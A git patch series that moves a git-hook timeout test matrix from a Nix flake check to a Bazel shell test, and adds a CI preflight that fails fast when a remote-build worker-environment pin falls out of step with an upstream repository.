0. - # No clock is involved: if nothing kills the fake, the harness's own - # `timeout 10` (on its full PATH, not the shim's) fails the case. - - # The identity allowlist in cmd/bd/hooks.go, as data. - allowlisted = [ - "gnu-coreutils" - "uutils-coreutils" - ]; - - implementations = { - gnu-coreutils = pkgs.coreutils; - uutils-coreutils = pkgs.uutils-coreutils-noprefix; - none = null; - } - // lib.optionalAttrs pkgs.stdenv.isLinux { - busybox = pkgs.busybox; - toybox = pkgs.toybox; - }; - - # The shim probes `timeout` first and `gtimeout` second (Homebrew's prefixed - # GNU coreutils on macOS). Whether a helper is accepted under the second name - # depends on what its banner does with argv[0]. The multicall implementations - # dispatch on it and then print the CANONICAL utility name: uutils' - # src/bin/coreutils.rs matches `argv[0].ends_with()`, so `gtimeout` - # (or `mytimeout`) is `timeout` to it and reports "timeout (uutils - # coreutils) " — accepted (measured on 0.8.0, this flake's - # nixos-25.11 pin, and on 0.11.0); busybox and toybox know no `gtimeout` - # applet and fail the probe outright — rejected either way. These variants put each multicall on PATH under the name `gtimeout` - # ONLY, so the second candidate is the one that runs. GNU has no variant: - # nixpkgs' coreutils is a single-binary multicall that refuses a name it does - # not know ("coreutils: unknown program 'gtimeout'"), while Homebrew's - # gtimeout is a separate binary whose banner is the fixed "timeout (GNU - # coreutils) 9.11" — GNU is immune by construction, not by measurement here. - asGtimeout = - impl: pkg: - pkgs.runCommand "${impl}-as-gtimeout" { } '' - mkdir -p "$out/bin" - ln -s ${pkg}/bin/timeout "$out/bin/gtimeout" - ''; - - # What goes on a case's PATH: every implementation as itself, and the - # multicalls once more under the other candidate name. `impl` is what the - # model reasons about; `label` is what the case is called. - installs = lib.concatLists ( - lib.mapAttrsToList ( - impl: pkg: - [ - { - inherit impl; - label = impl; - dirs = lib.optional (pkg != null) "${pkg}/bin"; - } - ] - ++ lib.optional (pkg != null && impl != "gnu-coreutils") { - inherit impl; - label = "${impl}-as-gtimeout"; - dirs = [ "${asGtimeout impl pkg}/bin" ]; - } - ) implementations - ); - - shells = { - dash = "${pkgs.dash}/bin/dash"; - bash = "${pkgs.bash}/bin/bash"; - } - // lib.optionalAttrs pkgs.stdenv.isLinux { - busybox-ash = "${pkgs.busybox}/bin/sh"; - }; - - hooks = [ - "pre-commit" - "post-merge" - "pre-push" - "post-checkout" - "prepare-commit-msg" - ]; - - backendFor = - impl: withPerl: - if lib.elem impl allowlisted then - "coreutils" - else if withPerl then - "perl" - else - "none"; - - # One `run_case` line per point in the matrix, all backgrounded. - cases = lib.concatMap ( - install: - lib.concatMap - ( - withPerl: - lib.concatLists ( - lib.mapAttrsToList ( - shellName: shell: - map (hook: { - name = "${hook}/${shellName}/${install.label}${lib.optionalString withPerl "+perl"}"; - inherit hook shell; - backend = backendFor install.impl withPerl; - path = install.dirs ++ lib.optional withPerl "${pkgs.perl}/bin"; - }) hooks - ) shells - ) - ) - [ - false - true - ] - ) installs; - - caseLine = - c: - "run_case ${ - lib.escapeShellArgs [ - c.name - c.hook - c.backend - c.shell - ] - } ${lib.escapeShellArgs c.path} &\n"; - - trackedHooks = lib.fileset.toSource { - root = ./.; - fileset = ./.githooks; - }; -in -{ - hook-timeout-backends = - pkgs.runCommand "bd-hook-timeout-backends" - { - # Only .githooks/* is an input: nothing else in the repo changes what - # this check measures. - githooks = "${trackedHooks}/.githooks"; - } - '' - # 1. Shims under test: the managed section of each tracked hook, as - # bd installs it into a fresh repo (shebang + section). - shims="$TMPDIR/shims" - mkdir -p "$shims" - for hook in ${lib.escapeShellArgs hooks}; do - { - echo '#!/usr/bin/env sh' - sed -n '/^# --- BEGIN BEADS INTEGRATION/,/^# --- END BEADS INTEGRATION/p' "$githooks/$hook" - } > "$shims/$hook" - grep -q 'bd hooks run' "$shims/$hook" || { echo "no managed section in .githooks/$hook"; exit 1; } - done - - # 2. The fake bd the shim will find on its restricted PATH. It blocks - # until killed and records the signal, re-raising it so it dies the - # way a real bd would (143 / 142), not by a made-up exit code. - fake="$TMPDIR/fakebin" - mkdir -p "$fake" - cat > "$fake/bd" <<'FAKE' - #!/bin/sh - trap 'echo TERM > "$FAKE_BD_SIGNAL"; trap - TERM; kill -TERM $$' TERM - trap 'echo ALRM > "$FAKE_BD_SIGNAL"; trap - ALRM; kill -ALRM $$' ALRM - [ -n "$FAKE_BD_BLOCK" ] && read -r _ - exit 0 - FAKE - chmod +x "$fake/bd" - mkfifo "$TMPDIR/hang" - exec 3<> "$TMPDIR/hang" - - # 3. The matrix. - results="$TMPDIR/results" - mkdir -p "$results" - run_case() { - name=$1 hook=$2 backend=$3 shell=$4 - shift 4 - case_dir="$TMPDIR/cases/$name" - mkdir -p "$case_dir/bin" - ln -s "$shell" "$case_dir/bin/sh" - path="$fake:$case_dir/bin" - for dir in "$@"; do path="$path:$dir"; done - block=1 - [ "$backend" = none ] && block= - signal_file="$case_dir/signal" - # `|| rc=$?`: the builder runs under set -e, and a bare assignment - # from a failing command would end this subshell before it reports. - rc=0 - case_out=$(timeout 10 env PATH="$path" BEADS_HOOK_TIMEOUT=1 \ - FAKE_BD_BLOCK="$block" FAKE_BD_SIGNAL="$signal_file" \ - "$case_dir/bin/sh" "$shims/$hook" origin https://example.invalid 2>&1 <&3) || rc=$? - signal=$(cat "$signal_file" 2>/dev/null || true) - verdict=ok - if [ "$rc" -eq 124 ]; then - # This is the one mode that is intermittent and not reproducible - # locally, so it needs the output most: report it like the branch - # below rather than as a bare string. - verdict="FAIL: nothing killed the fake bd (harness safety net fired), signal='$signal': $case_out" - elif [ "$rc" -ne 0 ]; then - verdict="FAIL: hook exit $rc (would block the push): $case_out" - else - case "$backend" in - coreutils) - case "$case_out" in *"timed out after 1s"*) ;; *) verdict="FAIL: no deadline report: $case_out" ;; esac - [ "$signal" = TERM ] || verdict="FAIL: expected coreutils timeout (TERM), fake saw '$signal'" - ;; - perl) - case "$case_out" in *"timed out after 1s"*) ;; *) verdict="FAIL: no deadline report: $case_out" ;; esac - [ "$signal" = ALRM ] || verdict="FAIL: expected perl alarm (ALRM), fake saw '$signal'" - ;; - none) - case "$case_out" in *"running without timeout"*) ;; *) verdict="FAIL: no unbounded warning: $case_out" ;; esac - ;; - esac - fi - printf '%-52s %-10s %s\n' "$name" "$backend" "$verdict" > "$results/$(echo "$name" | tr / _)" - } - - ${lib.concatMapStrings caseLine cases} - wait - - printf '%-52s %-10s %s\n' CASE BACKEND RESULT - sort "$results"/* - echo - reported=$(ls "$results" | wc -l) - echo "$reported of ${toString (lib.length cases)} cases reported, $(grep -l FAIL "$results"/* | wc -l) failed" - if [ "$reported" -ne ${toString (lib.length cases)} ]; then - echo "some cases never reported a verdict" - exit 1 - fi - if grep -q FAIL "$results"/*; then - exit 1 - fi - touch "$out" - ''; -} diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 0dde5d0ee..7a2a62915 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -74,7 +74,7 @@ a unit test: use the real boundary when the defect could live there. | Final gate | `make test` | Once after focused work on Go code is green: the whole test lane, mostly cache hits. | | Another lane's risk | that lane's command from the table above | When the change touches what that lane covers (integration-tagged files, the Dolt server path, embedded Dolt, pure-Go builds). | | Named CI wrapper | `make ci-pr-core` or `make ci-pr-lint` | Run the wrapper whose risk or surface is affected, or use it to reproduce that CI check. Do not run all three routinely for every edit. | -| Hook shims against real timeout implementations | `nix flake check -L` (or `nix build .#checks..hook-timeout-backends -L`) | After changing the hook generator in `cmd/bd/hooks.go` (then `make githooks-regen`) or anything under `.githooks/`. Runs the tracked managed sections against GNU coreutils, uutils, busybox and toybox `timeout` — the multicalls also installed as `gtimeout` alone — with and without Perl, under dash, bash and busybox ash. About one deadline of wall time; needs no Go build. | +| Hook shims against real timeout implementations | `bazel test //tests/hook_timeout_backends:hook_timeout_backends_test` | After changing the hook generator in `cmd/bd/hooks.go` (then `make githooks-regen`) or anything under `.githooks/`. Runs the tracked managed sections against GNU coreutils, uutils, busybox and toybox `timeout` — the multicalls also installed as `gtimeout` alone — with and without Perl, under dash, bash and busybox ash (240 cases). About one deadline of wall time; needs no Go build. The PR-core lane runs it on every PR. | Do not replace the focused loop with repeated full-suite runs. Run the final `make test` once the affected tests are green. For docs-only changes, use diff --git a/flake.nix b/flake.nix index 60a965a66..7bf3bbdfb 100644 --- a/flake.nix +++ b/flake.nix @@ -38,7 +38,6 @@ packages = forAllSystems (import ./packages.nix); - checks = forAllSystems (import ./checks.nix); apps = nixpkgs.lib.genAttrs systems ( system: diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 4885457cc..a57d31d34 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -4,6 +4,7 @@ import ( "fmt" "os" "path/filepath" + "regexp" "sort" "strings" "testing" @@ -58,8 +59,9 @@ func readPushPaths(t *testing.T, file string) []string { // TestNixBuildDropsPullRequestTriggerNotPushOrDispatch pins the one // "delete the pull_request trigger" trigger change in F7c: nix-build.yml's // PR coverage is fully redundant with PR Risk's required test-nix job (which -// runs `nix run .#default` plus `nix flake check -L` on every PR, a superset -// of `nix build .#default`), but push and workflow_dispatch must survive so +// runs `nix run .#default` plus `nix flake check -L`, which evaluates every +// flake output, on every PR: a superset of `nix build .#default`), but push +// and workflow_dispatch must survive so // the plain `nix build` path stays covered post-merge. func TestNixBuildDropsPullRequestTriggerNotPushOrDispatch(t *testing.T) { type nixTriggers struct { @@ -111,6 +113,48 @@ func TestNixBuildDropsPullRequestTriggerNotPushOrDispatch(t *testing.T) { } } +// The flake's one test check (hook-timeout-backends, which only PR Risk's +// test-nix ran) is a Bazel target the PR-core lane runs on every PR, against +// all five tracked hooks and the three pinned static timeout +// implementations; the flake declares no checks, so test-nix's +// `nix flake check` is a packaging check (an evaluation of the outputs), not +// a test run on a GitHub runner. +func TestHookTimeoutBackendsRunUnderBazel(t *testing.T) { + root := sourceRepoRoot(t) + if _, err := os.Stat(filepath.Join(root, "checks.nix")); err == nil { + t.Error("checks.nix is back; hook-timeout-backends runs under Bazel (//tests/hook_timeout_backends)") + } + if flake := readPolicyFile(t, root, "flake.nix"); regexp.MustCompile(`(?m)^\s*checks\s*=`).MatchString(flake) { + t.Error("flake.nix declares checks; test checks run under Bazel, test-nix's nix flake check only evaluates the outputs") + } + rule := bazelRuleBlock(readPolicyFile(t, root, "tests/hook_timeout_backends/BUILD.bazel"), "hook_timeout_backends_test") + for _, want := range []string{ + `srcs = ["hook_timeout_backends_test.sh"],`, + `"$(rootpath @busybox_static//file)",`, + `"$(rootpath @toybox_static//file)",`, + `"$(rootpath @uutils_coreutils//:coreutils)",`, + `"$(rootpath //:.githooks/pre-commit)",`, + `"$(rootpath //:.githooks/post-merge)",`, + `"$(rootpath //:.githooks/pre-push)",`, + `"$(rootpath //:.githooks/post-checkout)",`, + `"$(rootpath //:.githooks/prepare-commit-msg)",`, + `tags = ["pr-core-only"],`, + } { + if !strings.Contains(rule, want) { + t.Errorf("//tests/hook_timeout_backends:hook_timeout_backends_test lacks %q:\n%s", want, rule) + } + } + hooks, err := filepath.Glob(filepath.Join(root, ".githooks", "*")) + if err != nil { + t.Fatal(err) + } + for _, hook := range hooks { + if !strings.Contains(rule, `"$(rootpath //:.githooks/`+filepath.Base(hook)+`)",`) { + t.Errorf("tracked hook .githooks/%s is not in hook_timeout_backends_test's args", filepath.Base(hook)) + } + } +} + func sortedCopy(items []string) []string { out := append([]string(nil), items...) sort.Strings(out) diff --git a/tests/hook_timeout_backends/BUILD.bazel b/tests/hook_timeout_backends/BUILD.bazel new file mode 100644 index 000000000..aef412762 --- /dev/null +++ b/tests/hook_timeout_backends/BUILD.bazel @@ -0,0 +1,60 @@ +load("@rules_shell//shell:sh_test.bzl", "sh_test") + +# The tracked git hook shims (.githooks/*, managed section only) against real +# timeout implementations: GNU coreutils and perl from the executor, and +# static uutils coreutils, busybox and toybox builds pinned in MODULE.bazel, +# under dash, bash and busybox ash. Formerly checks.nix's flake check +# hook-timeout-backends, which only PR Risk's test-nix job ran. See the +# script's header for the matrix and what each case asserts. +# +# Tags: +# pr-core-only: a non-Go sh_test (no Go testcases for the integration +# lane's check_testcases.py); the PR-core lane runs it. +sh_test( + name = "hook_timeout_backends_test", + size = "small", + srcs = ["hook_timeout_backends_test.sh"], + args = [ + "$(rootpath @busybox_static//file)", + "$(rootpath @toybox_static//file)", + "$(rootpath @uutils_coreutils//:coreutils)", + "$(rootpath //:.githooks/pre-commit)", + "$(rootpath //:.githooks/post-merge)", + "$(rootpath //:.githooks/pre-push)", + "$(rootpath //:.githooks/post-checkout)", + "$(rootpath //:.githooks/prepare-commit-msg)", + ], + data = [ + "//:.githooks/post-checkout", + "//:.githooks/post-merge", + "//:.githooks/pre-commit", + "//:.githooks/pre-push", + "//:.githooks/prepare-commit-msg", + "@busybox_static//file", + "@toybox_static//file", + "@uutils_coreutils//:coreutils", + ], + tags = ["pr-core-only"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tests/hook_timeout_backends/hook_timeout_backends_test.sh b/tests/hook_timeout_backends/hook_timeout_backends_test.sh new file mode 100755 index 000000000..115c6a796 --- /dev/null +++ b/tests/hook_timeout_backends/hook_timeout_backends_test.sh @@ -0,0 +1,223 @@ +#!/usr/bin/env bash +# hook-timeout-backends: run the tracked git hook shims against REAL timeout +# implementations (formerly checks.nix's flake check of the same name). +# +# cmd/bd/hooks_timeout_process_test.go pins the shim's selection logic with +# scripted helpers, and TestTrackedManagedHookSectionsMatchGenerator holds the +# tracked .githooks/* byte-equal to the generator. This test closes the +# remaining gap — what the helpers on real hosts actually do — by running the +# tracked sections against the binaries themselves. That is where the +# surprises live: uutils prints a different banner (GH#5541); busybox exits +# 143 on expiry, not 124, so allowlisting it as-is would turn every timeout +# into a failed hook; toybox exits 125 from --version. +# +# Each case: one hook, one shell (the `sh`s a `#!/usr/bin/env sh` hook meets in +# the wild: dash, bash, busybox ash), a PATH of exactly one timeout +# implementation — under the name `timeout`, or for the multicall ones also +# under `gtimeout` alone — plus optionally perl, BEADS_HOOK_TIMEOUT=1, and a +# fake `bd` that blocks on a held-open fifo until a helper kills it. The fake +# records the signal that killed it, which is how the test asserts the backend +# and not just "it finished": +# coreutils backend → TERM from timeout, shim reports the deadline, exit 0 +# perl backend → ALRM from perl's alarm, same report, exit 0 +# no backend → the fake returns at once; shim warns it is running +# without a deadline, exit 0 +# A non-zero hook exit blocks the user's push, so every case asserts exit 0. +# No clock is involved: if nothing kills the fake, the harness's own +# `timeout 10` (GNU, on its full PATH, not the shim's) fails the case. +# +# The multicall implementations dispatch on argv[0] and print the CANONICAL +# utility name: uutils matches `argv[0].ends_with()`, so under +# `gtimeout` it is `timeout` to it and reports "timeout (uutils coreutils) +# " — accepted; busybox and toybox know no `gtimeout` applet and fail +# the probe — rejected either way. GNU has no gtimeout variant: Homebrew's +# gtimeout is a separate binary whose banner is the fixed "timeout (GNU +# coreutils) ", so GNU is immune by construction. +# +# Usage: hook_timeout_backends_test.sh BUSYBOX TOYBOX UUTILS_COREUTILS HOOK... +# (-test.* arguments, which Bazel lane configs append, are ignored) +# (the static binaries come in hermetically, MODULE.bazel; dash, bash, perl and +# GNU coreutils come from the executor, and a missing one fails the test). +set -euo pipefail + +# Lane configs pass Go test flags to every target (--config=prcore's +# --test_arg=-test.short, -test.parallel, ...); they mean nothing here. +args=() +for arg in "$@"; do + [[ "$arg" == -test.* ]] || args+=("$arg") +done +set -- "${args[@]}" + +[[ $# -ge 4 ]] || { echo "usage: $0 BUSYBOX TOYBOX UUTILS HOOK..." >&2; exit 2; } +busybox="$(realpath "$1")" +toybox="$(realpath "$2")" +uutils="$(realpath "$3")" +shift 3 +hook_files=("$@") + +# The identity allowlist in cmd/bd/hooks.go, as data. +allowlisted=" gnu-coreutils uutils-coreutils " + +require_tool() { + local path + path="$(command -v "$1" 2>/dev/null)" || { echo "FAIL: $1 is not on the executor's PATH" >&2; exit 1; } + realpath "$path" +} +dash="$(require_tool dash)" +bash_bin="$(require_tool bash)" +perl="$(require_tool perl)" +gnu_timeout="$(require_tool timeout)" +case "$("$gnu_timeout" --version 2>/dev/null | head -n 1)" in + "timeout (GNU coreutils) "*) ;; + *) echo "FAIL: the executor's timeout is not GNU coreutils: $gnu_timeout" >&2; exit 1 ;; +esac +case "$("$uutils" timeout --version 2>/dev/null | head -n 1)" in + "timeout (uutils coreutils) "*) ;; + *) echo "FAIL: $uutils is not uutils coreutils" >&2; exit 1 ;; +esac + +tmp="${TEST_TMPDIR:-$(mktemp -d)}/htb" +rm -rf "$tmp" +mkdir -p "$tmp" + +# 1. Shims under test: the managed section of each tracked hook, as bd +# installs it into a fresh repo (shebang + section). +shims="$tmp/shims" +mkdir -p "$shims" +hooks=() +for file in "${hook_files[@]}"; do + hook="$(basename "$file")" + hooks+=("$hook") + { + echo '#!/usr/bin/env sh' + sed -n '/^# --- BEGIN BEADS INTEGRATION/,/^# --- END BEADS INTEGRATION/p' "$file" + } > "$shims/$hook" + grep -q 'bd hooks run' "$shims/$hook" || { echo "FAIL: no managed section in .githooks/$hook" >&2; exit 1; } +done +for want in pre-commit post-merge pre-push post-checkout prepare-commit-msg; do + [[ -f "$shims/$want" ]] || { echo "FAIL: .githooks/$want is not in the test's data" >&2; exit 1; } +done + +# 2. The fake bd the shim will find on its restricted PATH. It blocks until +# killed and records the signal, re-raising it so it dies the way a real bd +# would (143 / 142), not by a made-up exit code. +fake="$tmp/fakebin" +mkdir -p "$fake" +cat > "$fake/bd" <<'FAKE' +#!/bin/sh +trap 'echo TERM > "$FAKE_BD_SIGNAL"; trap - TERM; kill -TERM $$' TERM +trap 'echo ALRM > "$FAKE_BD_SIGNAL"; trap - ALRM; kill -ALRM $$' ALRM +[ -n "$FAKE_BD_BLOCK" ] && read -r _ +exit 0 +FAKE +chmod +x "$fake/bd" +mkfifo "$tmp/hang" +exec 3<> "$tmp/hang" + +# 3. The installs: every implementation as itself, and the multicalls once +# more under the other candidate name. "impl" is what the model reasons +# about; "label" is what the case is called. A dir holds exactly the one +# command. +bin_dir() { # bin_dir NAME CMD TARGET: a dir holding CMD -> TARGET + mkdir -p "$tmp/bins/$1" + ln -s "$3" "$tmp/bins/$1/$2" + echo "$tmp/bins/$1" +} +install_impls=() install_labels=() install_dirs=() +add_install() { install_impls+=("$1"); install_labels+=("$2"); install_dirs+=("$3"); } +add_install gnu-coreutils gnu-coreutils "$(bin_dir gnu-coreutils timeout "$gnu_timeout")" +add_install none none "" +for multicall in uutils-coreutils:"$uutils" busybox:"$busybox" toybox:"$toybox"; do + impl="${multicall%%:*}" target="${multicall#*:}" + add_install "$impl" "$impl" "$(bin_dir "$impl" timeout "$target")" + add_install "$impl" "$impl-as-gtimeout" "$(bin_dir "$impl-as-gtimeout" gtimeout "$target")" +done +perl_dir="$(bin_dir perl perl "$perl")" + +shell_names=(dash bash busybox-ash) +shell_paths=("$dash" "$bash_bin" "$busybox") + +backend_for() { # backend_for IMPL WITH_PERL + if [[ "$allowlisted" == *" $1 "* ]]; then + echo coreutils + elif [[ "$2" == 1 ]]; then + echo perl + else + echo none + fi +} + +# 4. The matrix. +results="$tmp/results" +mkdir -p "$results" +run_case() { + local name=$1 hook=$2 backend=$3 shell=$4 + shift 4 + local case_dir="$tmp/cases/$name" + mkdir -p "$case_dir/bin" + ln -s "$shell" "$case_dir/bin/sh" + local path="$fake:$case_dir/bin" dir + for dir in "$@"; do path="$path:$dir"; done + local block=1 + [[ "$backend" == none ]] && block= + local signal_file="$case_dir/signal" rc=0 case_out signal verdict=ok + case_out=$("$gnu_timeout" 10 env PATH="$path" BEADS_HOOK_TIMEOUT=1 \ + FAKE_BD_BLOCK="$block" FAKE_BD_SIGNAL="$signal_file" \ + "$case_dir/bin/sh" "$shims/$hook" origin https://example.invalid 2>&1 <&3) || rc=$? + signal=$(cat "$signal_file" 2>/dev/null || true) + if [[ "$rc" -eq 124 ]]; then + verdict="FAIL: nothing killed the fake bd (harness safety net fired), signal='$signal': $case_out" + elif [[ "$rc" -ne 0 ]]; then + verdict="FAIL: hook exit $rc (would block the push): $case_out" + else + case "$backend" in + coreutils) + [[ "$case_out" == *"timed out after 1s"* ]] || verdict="FAIL: no deadline report: $case_out" + [[ "$signal" == TERM ]] || verdict="FAIL: expected coreutils timeout (TERM), fake saw '$signal'" + ;; + perl) + [[ "$case_out" == *"timed out after 1s"* ]] || verdict="FAIL: no deadline report: $case_out" + [[ "$signal" == ALRM ]] || verdict="FAIL: expected perl alarm (ALRM), fake saw '$signal'" + ;; + none) + [[ "$case_out" == *"running without timeout"* ]] || verdict="FAIL: no unbounded warning: $case_out" + ;; + esac + fi + printf '%-52s %-10s %s\n' "$name" "$backend" "$verdict" > "$results/${name//\//_}" +} + +total=0 +for i in "${!install_impls[@]}"; do + for with_perl in 0 1; do + backend="$(backend_for "${install_impls[$i]}" "$with_perl")" + dirs=() + [[ -n "${install_dirs[$i]}" ]] && dirs+=("${install_dirs[$i]}") + suffix= + if [[ "$with_perl" == 1 ]]; then + dirs+=("$perl_dir") + suffix=+perl + fi + for s in "${!shell_names[@]}"; do + for hook in "${hooks[@]}"; do + run_case "$hook/${shell_names[$s]}/${install_labels[$i]}$suffix" "$hook" "$backend" "${shell_paths[$s]}" ${dirs[@]+"${dirs[@]}"} & + total=$((total + 1)) + done + done + done +done +wait + +printf '%-52s %-10s %s\n' CASE BACKEND RESULT +sort "$results"/* +echo +reported=$(find "$results" -type f | wc -l) +failed=$(grep -l FAIL "$results"/* | wc -l || true) +echo "$reported of $total cases reported, $failed failed" +if [[ "$reported" -ne "$total" ]]; then + echo "FAIL: some cases never reported a verdict" >&2 + exit 1 +fi +if [[ "$failed" -ne 0 ]]; then + exit 1 +fi From 886ebb375a4773395a1971a8931fb3df5c87d76c Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 00:55:02 +0000 Subject: [PATCH 156/325] ci(rbe): fail remote runs fast on a stale worker-env pin; nightly opens an issue (#7373) rbe-west's pool workers run gascity main's tools/rbe/worker-env and advertise its pin; the schedulers match //platforms:rbe_worker's pin exactly. When gascity re-pins and beads' copy falls behind, every remote action queues until the lanes time out, and the only check ran nightly with no notification (review finding S1). - bazel.yml's rbe job: after decide, only when the lanes execute remotely (enabled: modes remote, fork-ro, fork-rw; merge groups are remote), a sparse checkout of tools/rbe and platforms and tools/rbe/worker-env-sync main. Out of step fails the job, so every lane skips and pr.yml's gate is red within a minute, with the diff and the pin to commit in the summary. No fallback to mode cache: pr.yml's ci-gate requires a remote run (BAZEL_REMOTE), so it would be just as red, only slower. gascity unreachable warns and proceeds. The steps set no output; the job's outputs stay decide's. - worker-env-sync: exit 1 only for out of step, exit 2 (warning) when it cannot compare (ERR trap; curl timeouts), WORKER_ENV_SYNC_REPORT copies the markdown report. - nightly.yml: top-level permissions contents: read; rbe-worker-env-sync gets issues: write and, on exit 1, tools/rbe/worker-env-sync-issue opens a ci/infra issue with the report or updates the open one (body + comment linking the run). GITHUB_TOKEN is in that one step. - Policy tests: TestBazelRBEWorkerEnvPreflight (shape + the step's script run in step / out of step / unreachable), TestNightlyWorkerEnvSyncOpensIssue (permissions, token scope, rc output, issue create/update via a stub gh), TestRBEWorkerEnvSync (exit codes, report); rbe job step and checkout counts updated. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 59 ++++- .github/workflows/nightly.yml | 30 ++- scripts/bazel_farm_workflow_test.go | 20 +- scripts/ci_workflow_test.go | 10 +- scripts/rbe_worker_env_test.go | 365 +++++++++++++++++++++++----- tools/rbe/worker-env-sync | 27 +- tools/rbe/worker-env-sync-issue | 44 ++++ 7 files changed, 474 insertions(+), 81 deletions(-) create mode 100755 tools/rbe/worker-env-sync-issue diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index fbf8f2fef..625466eb2 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -382,11 +382,30 @@ env: jobs: # The one place the execution mode is decided (see the header), so every - # job sees the same answer for the whole run. Its step reads one secret, and - # only to test it for emptiness: the step's env holds a boolean, never the - # value, and the step runs no repository code (no checkout). Fork and - # Dependabot pull_request runs get no secrets: rbe-fork-mint decides - # theirs (fork-ro, fork-rw, or cache while it is closed). + # job sees the same answer for the whole run. Its decide step reads one + # secret, and only to test it for emptiness: the step's env holds a + # boolean, never the value, and the step runs no repository code (it comes + # before the job's checkout). Fork and Dependabot pull_request runs get no + # secrets: rbe-fork-mint decides theirs (fork-ro, fork-rw, or cache while + # it is closed). + # + # Then, only when the lanes will execute remotely (enabled: modes remote, + # fork-ro, fork-rw; merge groups are mode remote), the worker-env preflight: + # rbe-west's pool workers run gascity main's tools/rbe/worker-env and + # advertise its pin, and the schedulers match //platforms:rbe_worker's pin + # exactly, so when gascity re-pins and beads' copy (tools/rbe/worker-env.txt + # and the pin in platforms/BUILD.bazel) falls behind, every remote action + # queues until the lanes time out. tools/rbe/worker-env-sync compares the + # copy with gascity main and, out of step, fails this job: every lane needs + # it, so they all skip and pr.yml's gate is red within a minute, with the + # diff and the pin to commit in this job's summary. A fallback to mode + # cache would not keep the PR green (pr.yml's ci-gate requires a remote + # run, BAZEL_REMOTE) and would only make it slower, so fail fast. gascity + # unreachable (exit 2: unknown) warns and proceeds: GitHub's availability + # never blocks a PR. The steps after decide run repository code (the PR's + # script, sparse-checked-out) but hold no secret and set no output: the + # job's outputs are decide's alone. nightly.yml runs the same check every + # night and opens a ci/infra issue. rbe: name: execution mode # Same-repo PRs (and merge_group/push/dispatch/schedule runs, which are @@ -472,6 +491,36 @@ jobs: } >> "$GITHUB_OUTPUT" echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, rbe=cache: $RBE_INPUT_CACHE, fork: $FORK, dependabot: $DEPENDABOT, fork farm: $FORK_FARM, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" + # The worker-env preflight (see the job's comment): the PR's own copy, + # so a PR that syncs it passes. Only the two paths it compares. + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + if: ${{ steps.decide.outputs.enabled == 'true' }} + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + sparse-checkout: | + tools/rbe + platforms + + - name: worker-env in step with gascity main + if: ${{ steps.decide.outputs.enabled == 'true' }} + env: + MODE: ${{ steps.decide.outputs.mode }} + run: | + rc=0 + tools/rbe/worker-env-sync main || rc=$? + case "$rc" in + 0) ;; + 1) + echo "::error title=Bazel lanes stopped before queueing::beads' worker-env pin is out of step with gascity main, so rbe-west has no worker for this run's remote actions (mode $MODE): copy tools/rbe/worker-env.txt and the worker-env pin in platforms/BUILD.bazel from gastownhall/gascity main (this job's summary has the diff and the line to commit; see tools/rbe/worker-env-sync)." + exit 1 + ;; + *) + echo "::warning title=rbe worker-env not checked::could not compare beads' worker-env pin with gascity main (exit $rc); proceeding in mode $MODE. If the lanes sit at 0 running actions, run tools/rbe/worker-env-sync." + ;; + esac + # Best-effort pre-warm of gastownhall/gascity's rbe-west OSS worker pool # (one Blacksmith-hosted NativeLink worker, rbe-worker-pool.yml) so it is # already booting instead of the lanes below waiting ~120s at "N actions, 0 diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 97f7bb42b..56f6a23e7 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -9,6 +9,9 @@ on: - cron: '0 2 * * *' workflow_dispatch: +permissions: + contents: read + env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" @@ -39,15 +42,38 @@ jobs: # rbe-west's pool workers are gascity's and advertise the sha256 of # gascity's worker-env manifest; beads' tools/rbe/worker-env.txt is a # byte-for-byte copy and platforms/BUILD.bazel carries the same pin. A copy - # that falls behind queues every remote action, so say so every night. + # that falls behind queues every remote action (bazel.yml's rbe job runs + # the same check before each remote run and fails it fast), so check every + # night and, out of step, open or update a ci/infra issue with the diff and + # the pin to commit (tools/rbe/worker-env-sync-issue). The only job here + # with issues: write, and only its last step uses the token. gascity + # unreachable (exit 2) fails the job without an issue. rbe-worker-env-sync: name: rbe worker-env in step with gascity runs-on: ubuntu-latest timeout-minutes: 5 + permissions: + contents: read + issues: write steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 with: persist-credentials: false - name: Compare the worker-env manifest and pin with gascity's main - run: tools/rbe/worker-env-sync main + id: sync + env: + WORKER_ENV_SYNC_REPORT: ${{ runner.temp }}/worker-env-sync.md + run: | + rc=0 + tools/rbe/worker-env-sync main || rc=$? + echo "rc=$rc" >> "$GITHUB_OUTPUT" + exit "$rc" + + - name: Open or update the out-of-step issue + if: ${{ failure() && steps.sync.outputs.rc == '1' }} + env: + GH_TOKEN: ${{ github.token }} + REPORT: ${{ runner.temp }}/worker-env-sync.md + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: tools/rbe/worker-env-sync-issue "$REPORT" "$RUN_URL" diff --git a/scripts/bazel_farm_workflow_test.go 